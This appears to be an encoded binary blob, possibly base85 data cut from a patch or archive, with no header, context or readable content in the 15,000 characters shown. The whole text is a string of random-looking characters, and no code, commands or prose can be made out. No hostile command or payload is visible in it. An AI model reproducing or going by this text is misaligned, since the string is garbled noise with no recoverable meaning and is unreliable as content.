zHRL7DM)s^f!zxn?u;O;CSrWj_vRm4cx}mJ07ymC$8?d9!#-wul> zeOOp)o9MjPF>K4@BJ$}vO28qNUyrQq|;;Oo>EO08Y3iJLc( zWYc@Yc#$pd3ELB#*fW-D=e{o@e@>0QdLin=lXZ>JG{py9%f&X>52&@dELYxExR|}> z$gGQtdb~b;yg~jZ`6SVsd`c{nKy)zEduQ^&Z~dwLTkhu-!$Jft) zVm^Pqebf!F6<3dkm)zg1Et5{W|JWqLJ!YNqw9*~o{fq6JLUI=(E!H@(#6x1MV(l|F zDjY}{x%}`zuXi9PfV^O)>FI(IyT;V`z7P#Dmua4{-~F;LJYDazyLriR+|PpP2@<|@ z#feYJj$sPnhb3fXKW(`+>qm>ry#w_vk@Fi{E``t7*Lw>)|BZx(!j0_9vSr%lw*B4K z(uI$Yter;rTTGpkrp@mRA{Dz|Sqe#h}(Lr;KQH(nXLP1tc}) zE-okaT78@LynQd0Rq;6fL));~O6=Q>iiX>0Iz$>sXSZQB8|GzGDq?p@s@I%&Mf8F> z`=B@%m>p7Rw>GdJQIx6U7nZ|zL{|rCC5;C`zJ{m?3<#2JK85m&Wo0>KTQr!oY*J2N zEUXmTVfrY+bBTu#^{gf^^tpm)!UV0OkT^qX=v&WLlNkk#&S^{pJYvo>;o}{!2LlO- z0oqXt;yy>M!U$oR6w64Xw}@r*xzO#)&iVNWB+VKv%8?O$Hnm7ZZ@9=tBt}n}l(7Q< zh{m%}lqC^pH5C#!49;aN5@r)mp>{y>v+v0?xrAGF{XJ))F=QRNn~U<@gb`!8PJ63q zy~{D86^3~z-Fv(_SaosWgw%xzV-!Jm6}El z!(8oV4wY9icFQ29Ln^*mT**&F zTtb3OBJTdqi5gVHV_IJFkOt2~$7OjYvuP}os(C)Tjcb1_w?O*#PN|nsNKl`+d+fAz-;;n z1GYQcU8n}+yJh{(znLwC#z#861^0Ni#AHY7KZB!`5sjLEQ0Uq)Awi2}`%|aPcqnaL zHmn=rH|H$UI(VvhCMK5gam&9r)Qlep0c`3unq(j%r`- zz|We79U^J0siw4)s)TD3n0%=cSx987LLCv$94t~(tp^AoH-r=vAj_B%h~~0JT*2=H zOcJOv=a`vDevj{4Y@SwuxsV6{e}g&9=bJVwj#7*1zKb*f(IpQIm606T%pgASh^3=! z27f7^Y<;Zk6oL~wEu#UqBL`=_!&5SZ(=iG!wPyE#aV1W@i;{ItVltH0oRDV|Dm?6z zF@BuTT->|TiJmQvF$p%zY<7O?>*e<7RJo375MmhvML`TG7^qa$1Qb6DsLPdZ?Jzdj zz%efG|6Lcth8`zTd!Y0GPv`A3{NHCsHx7Dbkb1iQlC9AH5GYAv;(g!HrJBH2uD@qj z?P9O&=F#i51Zqo1+A88Qm#n%GAQ={~Le30aHBS(|QLr*$v$N@u5Yn!`_Io&zU!3mt z@ZNkgAV>(Bzx1N|AR+U?Zc-^C$R{*Wp#=qiEDAEPkzz7I6%Ny%e?J3V+mR15AQ)r> z{kr~*E47MAXS!ehJy5Rqa~_p@bk|mkEBE;Grn-RpkJxEm&-9h$YQFn-Y17XppD1?z zFi68>Y|qG`@76Ho!3{d$z12aj6su1b2OR57sWz3yuYbmNQgWJu=vqfiR^;lAF%46P z$7VM!&U-Dsw;|!m8FhnAa@|iOSAJ=xbQ3UhUo@lWiDHy)S=$=6Mmmbg)Ek6)W`j}lW?bIhUP)|=~N0-9JyvtmjwOX zwp^m4BM2*K#o^nR$R}x#2xevN`J%dfmH)5-J*qZy)8q>eRijQVjm3&XS4GfYr@LpO z#T`zPuC+$n582IF>-@aiDlE(hP zVPUxqr4Ty;`p%KpH5iv1m0M=&IUAh)qclTjBbzSRy41553DhrL&i@sq9s83TMoxv#Shwq#M+kgE>hT#`_QTu z>kM)ZSXjQ#&oDoU>ad#w9qcN9ANl45w_23zmS|d1ubY=ZN zeoXZK9ejn~_;d*l0i8+|EwM#{2%>@$e$s$+gZgg%B{XmVI%Qiel@!(^af53O9Sk*? z>va74Q+QHGqjccq=Sk}!CL9BF1#Dw0hBKq82lv7%~bzwqS=EuY8V*|hEY6b-a>!+q~viV3+O zii;RAS+Z3dYSC<-7#bEwM}`~gbtE=Q#tM?vn#AFTYf?y58e0P(<^+_LKNl3#C(E#= zZ)zj01uvw9ocD0=AG?aJ6Ow%Ns(u^zMCXgB45=ZWR3u`wK1@?rZD zw$bhS5oBA>v(sk4e+=BqGUwax8i1HHV){he*khP)?inaOlDA9|kHF#L)8+>-?pF_nYD*pm!NqbA6XadTJ?})f>e+i*x`1lLDWGKzSLM06TK@b@zFw3<*e(a`&#&?T{@Oa?3R!|`Rznp+ZyP`d)k53F&o)jF)Y-TXb{?e+34M+;%03*mGHS#e_%rDL{s zOOg#EQr;K-J;A077#H8}_k}RQipypSCk9p{Sm*LKGHT8#dHNYqP|MXJt)J@t=9X=1 zW(?F)I6e!B%e0&DD|4Wa&O-3r5jI{p`wGc_TKQKvd47RkL$g7uVPr9k?AjL4GG-vs zF`13!7wLf@wg71cQ-8dA-zcMKj@XFyIk0A^_j3(fiD(uG`F+P05y0oroO%F)4CS#n@pJs-Ek1XDf-LjXw|`ez?)`_i1CK20!(sbK5AWkd z@IIPhTMDjw`J@butGyKLkb4N(WMpX_6TVGJl1~K zpg$GRY1TPIL#N|B^LtsKQO=`tjK)^vUn#9V^=qla`13+}kmvK4{Bq>?Pk3R;3y+k9 z$^VrC&SY5*hy{PxV~TEs6&Nmuj3^oS&I<9L)qX7b?*6QJvk?`-UkV@PU4pdJNym;Vk!ZkKrw>_6`RgmVGK>1Y4oqz?4fkU9ZRgE#ocyx4>Y*A z;4wnjOHH2*1{2jrV$7=G(dwRu4Jj#!a)6+;`8bs z1DA9^PE=JQ0xCx=s4!4saDCgwagSr8z6!Ilkf_a1!KLQV zTw4+uN^(?#<&PO%RQ6P*pko{{w++_#mgrG%F$@TCwj?B7Z%7d2S6o*t_M^@x;)V_VwM><)d_0{a|2AsJ>v1`k_J-daK7S{ zgIZqwqJxid1)Sy96(~Ug-NP{Vem;JrQ0iiG2~P-NfGmq1%QX;~D8&ImAp!)1V5=bM z4%i;+u4i}Nf$#>Ze=uz7;IiSr=AAx z%Dgn5q^;{BmMG{=p$9FI4dj%PMOUm}qD^M!PsPb%*KTIa6QxWUxn#CPKMp_uN4fcCdgyD0!Jhn$`n+6!Rrs2wgg+EtfX%L7A50xWGVI* zxlU(A^LaVT-;}(=0dj$c?65aDEt;*~UHF{Kpzw@=lYvKpg=lf=tSp@8J|W0DLyJ3x zqR$t1y(R`p3eK``xHxD7zB5jcuBq0VY3Y1>SF#ZA;60_OaG* zwws(U+4wijm+*xTn*cZA1hj&f!iiZoCspxayMf{{mLPuv8wgQo0sccWr=c8SLP8Om zU%%jdy*3Bue{5Hvbdbg@C)V7u<@YI-klntqSlL)tw+}5VRg~_PYzQ*edSn1uq%A!3Qm|T+ zuVa*C1Ma!F_nJ-jNc|8vo_D_`LQM0Nc$eai+s_X**k7?i5e-1t!ox(Bf*#vgv-*>} zzm4mcuh&j`gK8)s&5^K$ScO3DNxP(7e;JrQtEqw!WCb0Qnel*qnI^&H8OPho$CVG6 zlBt3Gf%TN;5_Fx(x^Na)Xk9$~e4_;jkShK?>E8lDAV|htfN>q^vzYHFT-L+7OaADe z?702yBfaLtaTv>v)y}mM>5gnS)FuIH2hry!j_MiYQ96uq!aQFTLrGS%A598=<1d8N z%rB~xG+ui7XHCiqEaJekoCDP-BRMyJcuBGd5J0)Kn}Y;r+IlqL3qy`Df!lHbm%Cad-&-Qf=EQv zqvmMrRQ8EgJ&`GKP2_VpV%}QRB4fn>r#nG6Lay-QU=&g1*bdYKsG^J zUcJ=xz`29xD6}GiVFAW145$@?M7aK+Y57?lW}k_Oj6!uWmVuWEc!IH3_HdEqLERG#bj9t{I9dJbNOV=>Fw1A{`Ax>7Bk`O zl9TVocKfVqXBX|Z33gF?9y~lbL)uyLGx;xwZfQP&A$Y;-; zFn45Wfus)a5AohjRGTM~9ms`hAIW>5d z97*}@B;gs($agEC!Rlczx(ru(h$$Err9LK55csv$${mWGRW`-ZaXsc)dETAh)cb`x zqEaVtWX}Zpbmn?cP}dM!Kn^73DFeg$Z@3Go6TgEEDfa=hOk@dv53K1n`0uHU3z}G( zLWclzQTEb;!`Jky?Pu}zdQMKf^t7E7SZLF&lLlI(?G0@{XQ_v40vLafwsR;2n@4Ws zpzQT|$HJslxAaN!YT{;j5YQRSB&~ z65;0s87$RW`!XwKWk?Ac*$6baXQ^4wo4eM;bP)?1sf{sOR$yuTXn~_{?Th-ckqxA5 z7=5ES-fr|t6DMfHy2nDIJ&Jck2dn6j zPS}%wGE;$=z&oAB$Vc)%Xt13k0Tyf7c}Wajv$w5qXk$SpkUeD4wv3)(xfka{!gi`n z*irh+Kw0y&nnJQDhzO{O5rCkQ43b2VgCY=)33e0tQySZ2)LHZ7*aC7buazlBzByI{ zl?$F0d1?H+$)js&A{i;|p`l%u6c=e`*7I3cjxCIAuG8cWGJ6l*1AwvX;p-Ma?!g+1 z?WA04if}X~O~GM^Q&SBmLSSu0%PuE1 zOw^b`w(P5Ov;|Y5K}J*2t6@Zx*hC;=+QYKu3z*eL-=>^DE659NpV!00gL6VPOG7yx z?)h0ND4_MUNFrNcqALN6QAL7)!nI}zj7)_^K#jQU4KR1us`j1QGOiWr?JlJ{#6$yloV>0-8Du_wS300*nt%rmd@gHUs}Uf>FpAAuk)h zxsqLWNg{&=WRI$(NgI%9Y$h1*TVyd7xy6AJ8K&5D8D=*eXKrSlTiXX(g$s45kZ?14x~Ni;T`7(7sfZp;BS)D)(BRu*Y!V=m z7#&}J!DwK-@f8>;6%L}95NqUau5C6X7#g7YOR05Mw1VR^n>AoTuxS_b#xS3kZ-Tf=HTt zKZU53bs9e=Kx}oi+q*gy7%!co8h?M#FsN?lYDvH{9n?nVCFf{{i>R~t#D2gmP7$T;-l{;ImbxLN~y9w)z=AWmFTDfw)}HY4G?{0J5(q@xj$V2uWh1z80c zAQdMPI0%wfQYr|DDxx4N$RYxAW zXvJ70U>KJgq*G01g#C^xNW^|1%Gyg1(^{Q>yZG|#?wi2B5}iZy>?yQ{dB3lZ$C3t! z$Rvn(!DvK?GDV9g+A^R|Km1A=6+vW*MIaz_5>ysXC+%mkn)*;LuGHU|O2skn*05Dy z+WBSpC&wzRi^-f#$yZ;}g;e62E@h|i$|1T@_zu}v!GiodsI957c=x))vE7VfWzKg78vA9#TO~&mV45>IlSkITCGe2f++GZ9F1EH}2z{bNL7c()H zhPms6a3}s;S~@G~q4=`dzUg>uk#r1kL!QDD1m!r}z`)35mx=&IOb`nzMjrD3HqT3Q zGNXw|LB6@R6KnuQt;#; z=S7-VY!P41Ok)9o4&5PKkeJ`{M?VWPpkRTqR83-hh>NG;4kmC(u{leFp7$j z8@hkbRFifZ%CLZrGDB0~(d_qotbVl(>^?33d0xE%MRR+6nh%=G9gSP5?$2>>ZM2%k z7*f~Sc}1_bP27YfaWQcT<{}V0ndWI@p6a0Q-q^;LjSY-)dqgq8OF@^c`M~>WNT9NQ z*z_)c!+6_`Aaj5s7rhpWGCg~++VTdD2tzO6|2Cnpb-7dI==rkk#+)!1oc|@_>%44|M;{Zrv zg!f@+wNB4OAu%+$P5-z5zg8{%!rtZs;DCU+);nuTXVbBDKf%-$V(L!$KOFr6v0@>u z2dBWCp?E&1i0QWpAD_+lrd@d_7OKpe%S7AC2mAod}~NC;TBkNsBdd~-nDa7 zsn-cQB=@Y~#7NgajIj1m`~1H{;7)m=c(k3L;2J@mY0OpUK zqN2Ps&80U#H)P97GkH9orT*9dl8Xg`#4Fl>RX4X z!HFRG<4BPpXRDXP(PHYl5Udj@JiDt|0vX-tCwiiLY5EMx;hz%8M9nl~-e+k!ytE(r zc~yM{X8qoa3^oz$3U5o-3`GLADnCK%4;ROsJshwE!$w>(VO(ZHuH-M=$jO1;8=?|V zsA`Oc2W_+GpF&6}wg=#N-Pn?fgxX(LnN}P=5vGRiG92*u5-e%asimKU#L${|sDdyY z9F`8~w?xD20nkT0fUf<&05kb?HPOhUrsSuz+i>ctcFs$)1d!6s&p|art!c%+MMqQ7 zDoz1`lD$F5=usURCx#{Q{!mY*CFdz2;%r}o_oBS%;&=G`0a+8A*(brQCZs@y=jNf= zWLM*fpWgs@jS$bi7<%FFmQeu<-ppCn)&Y0Ynk?_k_dy8$!&@H~-UV{D!Q+MFUAe+G4#k>Wi1Lo7YY<7^T0C`5mcs1CtnFSO{08ylC9# zL=JEhwFwlFdLQJ9<13WxZ}W5v8%MOy*j4z>tFI@lQmWIpIp zz?(@4INz$N%eQxO=uT7-_66aaU^`Ku#WtH0Em`@!&kBYRKT%e>h zQg=+sy3BCD#%)q>seKWA=e!WFMzbLl)bw3BX%FeTEo-!=Q&XT z{BXD2!2L%(W1AJ9$lvA^M-WRtXQ#^LyAyp#f)k zuWW@76i}lPe8&*N6jlZZ9fLL9o2P}L#|Iqtr)crQ3jzqK1CjJ71~In34=795<#dJ( zeFY$c6NPqvM!K%S^|xu+wYJ-rbjt@8?-c@uLaVAg$G-^P%FGe+=k7REYZPdEVkwMA zOW#?ken^(&A2(UB$mqOkhq^e3MN4rAZqdqOwmCx~ZR3KJ0kx_&#?4F)4J}Op%lQQ9 zg<$)6>s{l^k7dhE_A>QnCf~*Kpb*TyXhvJ%C-y;uq4*w0S`sLa(y`~mMq$u4WC4Wc z{X^fkIp&w*Ya)eak|=32Q8eQ+!tSi@mT&^)kC4UJc0w(auA4nu6}EN#js8&b5< z-7*MsvG|A;OL8{Or)bUv0t5|#9AWVGIH2Q)y9X0zrPMtrD*Hk;h5+OZtfIh?&39qL z2OR5ldC_#6g)OO46pjW%IC5!n*UDf*GOjSKPrSL_qDFRWu%nysEiAIz(J&a< z1Z8RhsH?r~gF7gDakv~6#?Z}n3|l2quqT~!jpC4r(8~;nMnktSxHhFV3NC;)E<@>{+b9T4zn9XLEff zRNd_`(yTCTmpkQ#M)EVF!85=b5hAX-)2_?D%dmV&7jYYERf)4BIEEM8h(^jpnZ>SDrjuB+Da)Fr{F<}{) zqKFv>O3-OPBu*BfTQ6-Lcm$@1r^ST@fQJGByy2c_z=lQXbl+aU$yXFCZA2*Tsf_86 z4QLICpMx`B&tbL)!IV@nP*!z1sur_`DhCF}r5OecgvomdWIRCb)^c&=zYSyNT)}e# zs}EePBA0m?24suW`QVK2E*OCBc)H`(`v0%Ea|x(xN&Q0f2rgXOI>S7q~y|#Pdf?c`5<3 z>)#u)Zp5yGV(o>mfAQXxpOg<&xFkiRLjZRY-X^85>Mm>9^T1Y||(boVf9C$W4V z4DidK?0x$(?Sx4fT~jVPRZNzoa>-+LZ5Aq9{8iMwHnL%Ygmf}_myryv;~mNxT_#9@ z!4{zmY=|fF%Ho!(5Bqh}Y5N?O!+OW$V;aisQO6R9y=7ddQ|e7Dko;Yolnhdho$ARB zDg!8N1$-A+mAgi4b6Fs^i;&*nddulq<{d+nIxBGKHG0o~)X0=#yL>W-AR z>Gk+mN3C_0wJrkfp6k|H2nU^Lr0da{YWax#$xGBiK}T{~SAiBhFY8;f0l zco@#In1fK_`K7Iby{)1Z#x%c`2n?Lg$27V-uXY+bLt~?;n| zX0-cFdi_3#eHAX9CM5@^8NhnwFXu<#ipZw1u$}NAARjI5$EST1)blER4y{~*iEWrF zMW1$YzRYms-K#r8ob7{CXi5=2So_p0b2E1c;6Z4s$Z<19Vn||4ha z%UHWjWGgPHBGj{>W|9nfb#jEDVJi0uJ0u;nIj7OfX@$h&O)$G;n${L#iZMaqn#w!n zFvKqU!D<+)F%61PVwjZfSwR*NQb}oKa(j1Dl#Jgs>`48581fTxIE)R>kfD}ACsPli zTc58$;m2hQ%-&M!6rMblMyk*Zg{eYC)*D_~fsycNZLpFM(mFRPbbN5qCgd+T(J~CQ zx|t-GE`S4=(i=!866=&O{P#dELf#j_{n0bU<_u?xP=3E2VNS7}nmI8FT?Q2O!pMJ% z*o}-R2T`b!0C>hvS-Ve$dNyY#edpByWCMf?Y@aV}{5MZL)WE6x#{(NF6-f1^829UJ zG{Xj^RY)Vk1x+EOh6x203c-mAxqJe_QE&CCm! z^y;eHjnUm-g<=bD6cqPT!o*@5O{7Mn$tQG#CCRS-nZNyA1CufRUy7(Ap;EI#hfURK zX3vl09~+LAX%=Jyqe_!c*^7ka(gQFcaTbS-_tr&_0x>%xJ|tlmvH^4!&^e-ch_r$y zNI^pGi;AXu3~Gvosv(SE`B4V3tE~&8BlnSXma)QWT+oKddDsCW_mCFZ08)fUTrh+f zEgbj8q}!!g(f{wJf!5VY@dqVG)AKzO2SYgovZo)*!+#n{7jOLtowurw1#Z zj~qMtJP=O)Hq;bVP)}_ti)ld^pol$5Bew>NTh#yf`7jF{?@BKeMgXFUL12O)cj3?z?tTX^e$;vWn)aWcNvmRf z(Cm+dNf*(b6=Ww}dYhBH(rfggJUb=#hcQvJh(c};dL%C^G|1kz@xcbd^yMEzl^?PW z%NBhz$E4kMT5cn{qUI!lxzPz#fSAzAKr4|J`D^2u`BXi3M;rBa!L^$vr72#i%A{Y; z%I4`6wmyD)jVIf_6)SjPOG}bJRW&(mditbBK|y#!_Mws-Q&>~RwV;F$(mS@(?f(r z<^?1vRP1=xi}*osc#Q5jR7FnlyT!fYwit*Hi~U?rA$Y6BfYvvw z&iA>hE?AKe{-s!xc`H!p}DHY?32ViAI^da}llSD5Y>NXC`ZE95cT%17_v2hTp@-Ha0`OGAgVw$a+W`IC&hC zb3L=PX1QEokq$OZLqeh;5MzL-sSXapS>y!BZr#ZWdarpL>gqZ2%$~$RA*M2Cr zlQy)5EX_j|Em;deXysh^8=64OXntI}6-ddd#+jLgWX>B59SjvIHKHZW%#Q!onvCt% zV?LZk?6&2ACfgQsa9WU&sf1xr0w?l$G<@#nkz|=R+eg$JhZzi?tFJE8N2#E(R24ZT z1sEWVI7%CgF_0@d_kWL;-L_qWJ$6(B^`&;A;&g<-XffPhHbPQX-BA%ysQrbQ9+z`{ zGX>$5L|8V<1yE+1Y?O?MaMWl}qcqutw%e_>Gf>uM%+c8sNNs4fs2ka9nI+nbZG&q| z(-%-m0_2)y4G;&96Ja#Ku)!8&vPj~LXnC^FaJCQmWRIN(+v@U3N$n*ovo0~^U(~JX(pXI5NcyU0e|nhQ%(P$vgYwPNFD` z6XaM^+Jno7z%b|=Xor6X+@4wkiEoP`&}3~E0n9+dy4@5gH`WzTs^hiG>4!SrBexu)lf`WlI*Y3y$n32`7YFBVYePdl8V=7SHDB?0h7atgg z9U6$Za&tIee<+W);V4}Y#hZ>i^k~`@kLiWb4>l+lR${lAN0h)Mf!&vB)ILib|@82EK7`iVp`|A@E>>N`J8t5_<{vKIN$wQ7ue7vJ7w4+@md$b8ZMy&lYKPP~6j34X7U|YK%qQ zg?l>t@Z`O=i3}u(8!?3p!IIV_23hgyC|7|S-@>rN*vKr~mbiS{sr`(^*0f%S8WjK2?f_t+Ut_1Hsh`g#M6&3)Y}ix{j$7BEf1rM zPU|M&F$IOR6h1uRIh<^j5&=HvOcycU~c3bB!u?54Frfpk3##G4#AZT_3>s2 zBOi|t8{h{h_*hbs++ij`hS&$Z?X!|_)wJ3d?}SAtPyHfCxb-<#=&??ol`stq=B*Mf z(cIH&J7cE<)rqqW zevW>_;KnP#+i`%5yq>1Ug{H$?rE!D!izXOt=k@(JRTpIB;Jv$&AQ zWLg>aUrC}bE}~>Z;V5)B*-_iz88;BfZ)VmQni(jC)s2dvilZ>FY3lxZFg9h0q$*4j zf)f(EAyJGCVM1dDg>6P+6&TT3P|VCCR~p&J&X{yFlxT+Je5BLOBtTyJ{YK)zFbgJc!!pRpA(DxC=9yBy6KX`eR&6N}uezEDw?H}} zZ9o^I%{Ca3TfK#wEpZDycvq){&^++Z+<6jMW2BN5k*+-%|F9LxqU@ zd!XxhqiB%^9sgX1Mv|5cV=*CC<0E><4GX;)v0Y4fVUFelYJR98a`)e<-jOY|RA_dN z+Co#{$W$h3btN$@vQBw5Csc&i#*F21(Gwk3m@^e(tfNq)C|H!xDpc z3dn(lA&?jq0~j{V@*WXk0Yu@TxZC3 z`TeID7@o(o(=fWD6oBXvB-lXx?m+)mjAV)_$%jF#-8nyd1GbblWIom!XZZ}j!kZ7? z^+@w529br-aMaqSF}?`WB8JU6e76WvCTqyUOMz6_I@9NjDY7PgjW#zoWthLUF^%FP zJVnlxU1nWgnt^Kp99am+vLRBUC$Kk#$cM{CC=01CPr=kvj^ob0=rTVnfhOirR>Z3c zSx{JlHY?27)SEimfxLp^^dxt*kSOLraN(qfzugirx7zoDdEy~>%{1nP+e#_u1a7OfUIxY z^8sJ2{HSl zU?9tDABWuz#tI`9V!>pB$YH6-_6mjvBq%f)k=@H!g^uhL77sV%=;5M2d*7A-G{K0! zBj%}Hk1w=C(a}XDJ6gpgJpghY1Xhka#5qJ=O^`V^jRy#X&Xi*XLLe$~53k4$z5W9; zuWl1v@1JUbv2N<{AcRarL4z5glI&oAH)K?^%-1-kivhrBZ1jQvI-(CVP6@PazeAS- zLiHfg5kyYbQZv&^D5Dh+MhYJ4agw71P0AEEFZy0JrCC1ULYYqwXFP$;+>R6~F;?2a z9KBw$12LLIMfx;vyYsG^t$_w*(Oxrkxn!1YC9B*cG;oElw9tl5N*Ge~!r01@3`7kk zLz@Hb-a{>P>U%`XFh5jBM{Z~uLIF^Mn)kW)LQ+wPpMmGu=2YZ?`0!CQ;E3Cb?HPfT zj8I}X{lcl# z&O!Z)`M4?EZkFmQG)}e-D-nXM6+u=4f{79_M6AAyFWL4Vk;&t-uv4TD&(!HBq*j%8o|x|YJfL3z ziFLE>FPMDU!M~aUXDX|!7#jNYWowmG=}s7`CqR9~H7kM~YWDKE5vo{0K~qIOJsicQ zq)vG`wq0yc4Wztwq605*+Y$@i)~*ey68H`vdzA(gN9R$4+ZH)zXQwqm-V}L$8#%C= zbcDQJ46dNVs$#jN>pMtgNJFE5-0Z_Kl{cz_ptXEPmMF7h;4mOznPDaD)zghMN8^o1 zg#whKC8n;2mq%ET^LZdXAG{W~@1L8i9MEt)iRk^>78jn~}9 ziQ@1{3ev`}7#l(%H!)z5%rofBy5+|_a4}pDEmR4LD*uhRC8}wF)s*s8)82IBGjtp-8ccqcM{oW~@36wx+OJ zQ5I2!1s7()$|du{u^6C?7;xKb$&_4cBBvCUA`FVE18gecXsF^<5fKq0F|4Y_DG))P zWunYfkjD@~f~soT)+mTJ)Ci7BN&-a&F$O8fwhC#Xx?WIVXBxq(!VG=`Xo5+z;fHv> z|McNHEl*%dJO3DgVgVt(e!IEKsg1{SMfN?^3#t_xAjLMx`Q9}#9nlcY+)5@j4N)@# z0gpSBac2_9A3m&c)W>cGIT?4EupgZKi>mD1`ivtauHZH}YwO zeFs1j$@l*vMF@(Zh$zS{U=)NvLN|yKLMYOcP!ttYA&`)eLa~FWh@e=opm<_0*cE$0 zv3KlU>|#Ib>7Dm~vzs9Lz5D$mZkfI_Z{ECl?=v&zpPxCt8Cd8iGaucse}akmDPH!A z=cguZuf7?qN%?&eh-vQ!njAk`6Tj`kSGTPxN%+Fxb;Hiv-uBiIZ3DV z`{a=LXwL2P>xvpDE}MiOzkSivrlhf)JI~j}?D531yG#1aaTLED_)Rj$KH+V|w96|- zHobaSxg3v(u#xu~Qaz;m;a6R?A3SZlv#itTqbhLE2;9LqG2n7Y)8s!hZ~T3syO6;T z?e3(>>@&7%Kz_fubKd2Yrm<`HZ(ccB?9qo}^o(9AtTn*=o85+OM|>ZGOLW^0!WkzE{>A zV=!k#>@FQtQ2Zca&z#7eGUr(1Z$tb3xm~r+%ddRv4#(}nl3D6klY1tykKQ;&r(xWf zes^}6JvnT4V&2j2p2F*vrqiY=)=_Pup`OzsE<9fw+^z2>v}gVY}oq7 z^IgpsW+=;=~ z4Jj#m{FW`B<}-WbqR)S6K?}Emu_x8lIaQx%ss=Y|H7~G(ohA{rl+&0XKK-8dL3dz|8l6f5n~= zCW|^aC--nDq?8uVN_N2KmiUewJ85&nyw{JIVV6oIB|-huR(0rqscQR!flIX`n7KWF z^OSxW_-D$MJ>95_TAGF&+oc$7S2o$_Oz7s}Tkw)4zsrhrBTH&a>38;YJG|Vv(fzU% z4=S2_;6|$Fj5YH{K3hKY!46J!nU|BbuKL=hfwg{F&%VW3XRWzVt~3*k*t&FH-I2qu zZ@KKcdiJ(#iLP_$kq>J$<6T>mqoR7OyqQwXsaku&eRbmc>7VQK!s=e$o8hF@jnl}K zM@(+aJAYo0S6_z&hiDT|!& zNjW^U$FYSDd$%Pzvx2wvO6;St>e)Zaa;>%7z$M8KdEIVabI;B4OHv%3VD)>o(H|W% zhgAQSx8Z2RlP*W?3-Sx+G!F0)Ou3lCF#en~&F9T0*hcS>y|K@j_a|bDA1I=~O*uBm z>BfopW!&pq=WVHI=w5q6!d|kY?8uGCPv7E=G*ezEnC4})WeZj~1PV0lVb_=!s{5BL zyMFdn&uzVzn+>TMwq>ZPQHotWRlX+bJb>$*LNb}GzzYS&&-Z`fnQsy>bVelB7)V}oZ_ z>-Ke$m4c+ak9Wtg4skD>sNa6zbTpDzn%x zW{HDdtTv8sQO$qx#=n$IZg@={QgXDKYb`XNvi5DidU5E$Q`A#er+W-Jo>n|B zhI;9!iB;F&orNc7d^;)}^;DyYS)cqz=z) zA8#IZZ%khA8<&{(?eGx|E#VJ#T>sl)bf*EEmwf0l|7>XUo29Eq*qAFL_8Y&tmJmKV zeSh(^X%w5M`J10+Y$;1;ymCq1P_yTu&H5Vd*8ta(Rg6^u47%B^_*Lh&&0X+i#I_yJ z2L=~jo4$U&_Dk@x2RBFKtAbxRe>$(-9sYNK)8o)NB(@FE09OFcIBTr(^ptL4L;bGpMvE5^*WFQ2X~^8;CB*6BGHnwU4g^xMF`yk2;^ zUyOO<;Z873Dt=UopA4^FoTyrNycm1j)G0{h?I1mTDKDVc)3DKwvR99pn_sgU_e(~u zQ7SjZM=3qBB`)r;Ad`P+$E;Z=hA%zgGbq3L#Mo9VE1$Lb%Z23&5|{Sy_+D(o z-R9D0YpWG9uWM6YOf0y)Eyw1WhGE;rhSx7r6=#`fwWow$8v*6Hc)&PnqU8@VUM zhnATY23+aV&w4SpDZlfXC$x|cQ*sifvrJ_kDIu{9DUPj`c2n+Y2fXglW8(nt%9y5f z_w~8EUR0+JN!rsR-S5xQ4dFS{?kqfZ{a#UHfr)*mp@XnD^L@*vvK(wyl}EuQQyAlP2h}qim)AuI_QKm_$#a)k9ToR^Jk@;7rM(`3|+k%;EdZ8)Pqrh6U~DxOsgEWr55Am%p?+ zW7b&~wzAA;fkRMUlBr1*HRYIqJNIgMkJTnCujcRSFw$o$WmI|xKFz|FmF$?@$p>FQ zxnYG%KWCT0pZ0!#vG(PkFAq45JFw)rd+pNn0!6eaMKk01Z&Tg&Pk9p)PaQSyVC8~2 zyI#HI#Gj1J*_o3tc+Dc$<+tuthIe<09MeUxYh1U!rNWX5VZ4>r$|kSMY0kczvjdMb zbPJnCDXXe?Y$)Jin-}6t7x&7%Q_G`Ro-t+3bJJA^>rOQpFL&TbO>cHB&{Q(`T(n6D>XQ;AYyivtz<#9X^J+CvI+<=QdnzOflcuR8}4q zyKuXFNvD^>db|464X}IEeG!)-iltk8+S}KA!{XnjYs+`3nw#S&3}g2}_ZOQNm_gzJ>)g8X;eLd0G-8*^92Y*D;%8Yvim(B(=E({;D@ z`SE6#THLGj=$Va^v7Jeqq^k#u8+Yis*hWgO+%ipBx!|Z5sKMo!5=^MskhT(+r;XY2am56?x_B|9<-a5NktABOCp9_ITxQ#M~tL+aQq?khxf&F`Z8W;FK@T`qhOT7Q0?X9rQ}m>rDiu5U-bt8q8J zKc?&HFE5+sT&{okc}zubb!nFllihNSIpM47&fK^;c+;l~AEI8K9`kVNo2asKXPYDr z;2r-eU3QF9Zno0#`E&qNWFJ1aYj6jH#OeoQ3raroLXM|RrmMZIW+;nOIm6VJ?w5{Cuur;dqJTu|4t%9L{!y87XW8Gqc9^TWtfxP{=lMD?q)1>NE1p2>P$r+w z?W~CQu&ufOsioz`mpdO%?|pE@sd?$lmm#XXci8uju6Z;`v{u90@Y`6AiUuQkpzF3d zlH|{vKHYM^I)3R9^ZM$5;Qm2PeY*GY>zD65cc^Xi=zACIoGU6%bq#;nygj<(Q%nA# z%|k?rzEcy<2{s&w%zRr?zs~9G;csh;6W5z8)&;Nh8D8Qa_Pv{CM`ey;Z_2zgu|ZQm z9unJqzH`THA19;AyxX9zBSPJp8N;@nUnv{CeW{m%QCHXC=apKua)IU&zrXWlQHCpL zw$o_A(m&^a-B=vHaaLXLLD{!-C;hG;;A9;*w%`83`V7EX;?_8`^Rw@aaNf9T{5b9J@7`9PZ|Z+x(%{*q zo!r+?&*pw>SW@}r-H{j5@TjQlsaJ*#e1Gd!7>9cy^qcn6HSh6n?j4j~D&S;%yteas z*8~5I&;9M-f{Ofc-&?-+)|k%B>YRG(R)`y;rOfGK=1k_Fe3w4?zp|a2mo$Cc|JWU}D z{fB>r@QPvPq2{6JZeng?4mTt8Z1_zyJYaC3^}qZGSKEK_z)aga+PFA(MLH6=INR8u zN8;k*j9$@;GZCVzjSD!z58R!dU0fi%i;XjJb#WnLpai-?Ae0<9k-x6`#EH~V9$gKo zKpbZxYiBZ3hyy=oGE*WOB83j#I*r;}Bb4QOL!F^#@)3K0eKzV~>}WE;RApAy5yNnW zPOg>F;G{`84nYL!A}uMFH1jjUZFP#No6(krocEgdhSj zoP7u(CXU#|;FP@rrCN-`S#@wsp9I&(#CXZk;czsfS|hGAgu@AnSxU7A($N-3B)K?azwRhI-2M02P621LdbD7T#83IFq&rVrjBaFrYacj_btrrKVUA$q7VSAgLTk97+pE4+5QO@d5!VQ@#?; 